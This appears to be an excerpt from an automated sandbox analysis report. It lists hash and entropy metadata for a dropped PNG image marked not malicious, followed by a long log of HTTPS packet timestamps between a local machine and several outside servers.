File Type:	PNG image data, 452 x 444, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	51120
Entropy (8bit):	7.954718383506729
Encrypted:	false
SSDEEP:	1536:fAXURb/VRlg/u3OD+RerLnSFFFCX8iarUMpu:f/VNfO2Ocerbdv/Mpu
MD5:	ECA50172A6583B16E553E9917FB710FB
SHA1:	2FD7FB2FF5C10E17E9066CE6BD2393E1F6B93CC0
SHA-256:	FFF5919A2CBACEAE0528522B6C73E4F1D549CA8EE13C680B50ED377DFD2B61F0
SHA-512:	1E7591A35DE7C00A197C08F15BA9ED7A9014EFFEF03DB240A92B63F8A8EC8DAE8F02811C8E9696FA934E6C4EFCBBBA14F2D01082A63471092488850A2D16958B
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............@.....wIDATx^..xU......n{..W.;.:T.W-W......I..hD..V..U..P@..A.@H....-.HEF..."....."zE@.B......OY~..s.:{.=.....?{.....N~..z.w..............T.vmr.k.>=.....~.A.......#.q...u..=..I...gee6 .v---.$.".L..=W>kD.+@... ...z..yd...s...mhK..:.avvf._........F.N.........x....?.b.US.\|~ii....W.V.w..-}\|...n//g..7..h..R.m{............X..+&U.....=...h.....B$../......0lll.@.+..l....l.&.o.x9..7.Y.1{.....G...w..-}...>..u."....1h(n.t......m.....X.kIf .i..]...{A......+.g...m=....'//..k=..A\|.v.8&.....!..>.}W.!.D.......s..x....w.a..Mr.....,P.KxII....5.~.>.%..1..1......y.P...w(..{..O ..n.V..Oh...iC[7.x....\..(..D.C...}....}..?...>%...".~0b..g.Yy...^.\|./..+@.7.z.D.\|*==.9.c....g..m\|.]ZZ.^..b}b.....D..ly..3:.P.`BE.+.6..b....1..9...\.." ............7....]r.c.&."...-/.OJ6.........2.c.....pA.Z.................?.Z.x....r.E?`........}W>..c...g@i.."P.kUVQ/..^.........BQ....WguU.E...%1`@.F....}Uax..f..".`,.t..V .9.7..E...[Sm...y.

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 09:58:56.885379076 CEST	49678	443	192.168.2.4	104.46.162.224
Apr 26, 2024 09:58:57.603862047 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 26, 2024 09:59:07.955941916 CEST	49735	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:07.956036091 CEST	443	49735	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:07.956144094 CEST	49735	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:07.956326962 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:07.956368923 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:07.956423998 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:07.956533909 CEST	49735	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:07.956568956 CEST	443	49735	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:07.956764936 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:07.956780910 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.346582890 CEST	443	49735	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.346967936 CEST	49735	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.347017050 CEST	443	49735	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.348505974 CEST	443	49735	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.348583937 CEST	49735	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.349695921 CEST	49735	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.349831104 CEST	443	49735	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.349862099 CEST	49735	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.363341093 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.363539934 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.363562107 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.365061998 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.365140915 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.365895987 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.365972042 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.396121025 CEST	443	49735	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.400157928 CEST	49735	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.400190115 CEST	443	49735	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.415328026 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.415338993 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.446304083 CEST	49735	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.461791992 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.778852940 CEST	443	49735	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.778882980 CEST	443	49735	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.778961897 CEST	49735	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.779000044 CEST	443	49735	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.779017925 CEST	443	49735	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.779053926 CEST	49735	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.783086061 CEST	49735	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.783118963 CEST	443	49735	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.787291050 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:08.787358999 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:08.918397903 CEST	49739	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:08.918442965 CEST	443	49739	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:08.918526888 CEST	49739	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:08.918730974 CEST	49739	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:08.918745995 CEST	443	49739	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:09.144268990 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.144328117 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.144357920 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.144388914 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.144402981 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.144428015 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.144474030 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.144490957 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.144546032 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.144576073 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.144588947 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.144588947 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.144588947 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.144633055 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.144639015 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.144676924 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.145056009 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.145068884 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.145114899 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.145121098 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.196398020 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.313216925 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.313250065 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.313301086 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.313328981 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.313348055 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.313368082 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.313457012 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.313473940 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.313509941 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.313530922 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.313539028 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.314059019 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.314119101 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.314131021 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.314176083 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.314188957 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.332498074 CEST	443	49739	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:09.333053112 CEST	49739	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:09.333127975 CEST	443	49739	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:09.334563017 CEST	443	49739	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:09.334630013 CEST	49739	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:09.337384939 CEST	49739	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:09.337472916 CEST	443	49739	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:09.345570087 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.345606089 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.345664978 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.346606970 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.346662045 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.346723080 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.347735882 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.347755909 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.348129034 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.348145962 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.357708931 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.385122061 CEST	49739	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:09.385149002 CEST	443	49739	172.217.3.68	192.168.2.4
Apr 26, 2024 09:59:09.433641911 CEST	49739	443	192.168.2.4	172.217.3.68
Apr 26, 2024 09:59:09.441318989 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.441354990 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.441396952 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.441428900 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.441508055 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.441514969 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.441559076 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.441571951 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.441580057 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.441582918 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.441606998 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.441628933 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.597549915 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.597693920 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.597721100 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.597762108 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.597835064 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.597841978 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.597894907 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.597958088 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.597964048 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.598021030 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.598076105 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.598082066 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.598141909 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.598200083 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.598207951 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.598221064 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.598268032 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.598330021 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.598335028 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.646450996 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.722608089 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.722628117 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.722696066 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.722706079 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.722759962 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.722809076 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.722827911 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.722871065 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.722893000 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.722893000 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.722948074 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.722954035 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.723017931 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.723066092 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.723072052 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.723109961 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.723160028 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.723392963 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.723460913 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.735588074 CEST	49736	443	192.168.2.4	13.107.136.10
Apr 26, 2024 09:59:09.735604048 CEST	443	49736	13.107.136.10	192.168.2.4
Apr 26, 2024 09:59:09.742178917 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.743267059 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.743329048 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.744268894 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.744344950 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.747867107 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.747937918 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.748085976 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.748101950 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.755114079 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.776726961 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.776742935 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.778131962 CEST	49742	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:09.778156042 CEST	443	49742	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:09.778218031 CEST	49742	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:09.778264046 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.778321981 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.778521061 CEST	49742	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:09.778533936 CEST	443	49742	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:09.781210899 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.781280994 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.781430006 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.781435966 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.789848089 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.822642088 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.987637043 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.988528967 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.988537073 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.988545895 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.988573074 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.988600969 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.988620996 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.988653898 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.988675117 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.989490986 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.989510059 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.989557028 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.989566088 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.990768909 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.991565943 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.991578102 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.991597891 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.991626978 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.991635084 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.991652012 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.991664886 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.991679907 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.991693020 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.991719007 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.991754055 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.991816044 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.992584944 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.992616892 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.992640972 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.992645979 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:09.992681980 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:09.992698908 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.040226936 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.114734888 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.114743948 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.114811897 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.114831924 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.114840984 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.114852905 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.114880085 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.114880085 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.116317034 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.116334915 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.116384983 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.116391897 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.116430044 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.116446018 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.117373943 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.117389917 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.117460012 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.117466927 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.117547989 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.119781017 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.119867086 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.119895935 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.119949102 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.119963884 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.120004892 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.120420933 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.120482922 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.120508909 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.120538950 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.120562077 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.120589018 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.121345043 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.121367931 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.121429920 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.121437073 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.121474028 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.121486902 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.156461000 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.156522989 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.156550884 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.156577110 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.156594038 CEST	443	49741	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.156639099 CEST	49741	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.157433033 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.157454014 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.157529116 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.157546997 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.157675982 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.184703112 CEST	443	49742	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:10.185822010 CEST	49742	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:10.185849905 CEST	443	49742	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:10.187335968 CEST	443	49742	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:10.187397957 CEST	49742	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:10.187407970 CEST	443	49742	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:10.187490940 CEST	49742	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:10.189630985 CEST	49742	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:10.189709902 CEST	443	49742	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:10.239114046 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.239197016 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.239211082 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.239239931 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.239267111 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.239286900 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.240369081 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.240386963 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.240458965 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.240473986 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.240633965 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.242142916 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.242165089 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.242223024 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.242234945 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.242290020 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.242290020 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.243693113 CEST	49742	443	192.168.2.4	52.108.8.12
Apr 26, 2024 09:59:10.243702888 CEST	443	49742	52.108.8.12	192.168.2.4
Apr 26, 2024 09:59:10.244129896 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.244158983 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.244189024 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.244200945 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.244234085 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.244254112 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.245939016 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.245965958 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.246005058 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.246016979 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.246066093 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.246066093 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.246117115 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.246186018 CEST	49740	443	192.168.2.4	152.195.19.97
Apr 26, 2024 09:59:10.246211052 CEST	443	49740	152.195.19.97	192.168.2.4
Apr 26, 2024 09:59:10.246234894 CEST	443	49740	152.195.19.97	192.168.2.4
